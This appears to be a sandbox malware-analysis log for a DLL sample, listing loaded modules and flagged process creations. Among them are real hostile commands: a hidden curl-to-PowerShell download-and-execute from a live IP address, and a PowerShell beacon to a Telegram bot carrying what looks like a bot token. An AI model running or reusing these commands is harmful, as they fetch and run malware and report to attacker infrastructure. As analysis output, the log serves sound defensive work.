Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: iviewers.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: iviewers.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: $^q7C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.pdb source: powershell.exe, 0000001D.00000002.1831061949.0000000005814000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: $^q7C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.pdb source: powershell.exe, 00000025.00000002.1915834227.0000000005718000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: $^q7C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.pdb source: powershell.exe, 0000001B.00000002.1861999388.00000000056D5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: $^q7C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.pdb source: powershell.exe, 00000018.00000002.1835577839.0000000004D85000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Suspicious command line found

Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.cmdline"

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\iviewers.dll

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F95F533 push ecx; ret	0_2_6F95F546
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_6F95F533 push ecx; ret	3_2_6F95F546
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6F95F533 push ecx; ret	4_2_6F95F546
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_04D1E948 pushfd ; ret	12_2_04D1E949
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0143D1F2 push ecx; retf	43_2_0143D218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 44_2_00ECC3B3 push eax; retf	44_2_00ECC405
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 44_2_00F2C360 pushad ; ret	44_2_00F2C361
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 44_2_00F2CB60 pushad ; retf	44_2_00F2CB61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 44_2_00F2C364 pushad ; ret	44_2_00F2C365
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 44_2_00F2CB64 pushad ; retf	44_2_00F2CB65
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 44_2_00F2C368 push 6800F2C3h; ret	44_2_00F2C36D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 44_2_00F2CB68 push 6800F2CBh; retf	44_2_00F2CB6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 44_2_00F2C350 push eax; ret	44_2_00F2C351
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 44_2_00F2CB50 push eax; retf	44_2_00F2CB51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 44_2_00F2C354 push eax; ret	44_2_00F2C355
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 44_2_00F2CB54 push eax; retf	44_2_00F2CB55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00437069 push es; retf	45_2_00437074
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0043C990 push eax; mov dword ptr [esp], 5C5D5E5Fh	45_2_0043C99E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0041B324 push F3B90044h; retf	45_2_0041B32A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00445C05 push ds; iretd	45_2_00445C08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0044856B push cs; retf	45_2_0044856C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 49_2_00D9B01A push ecx; retf	49_2_00D9B040

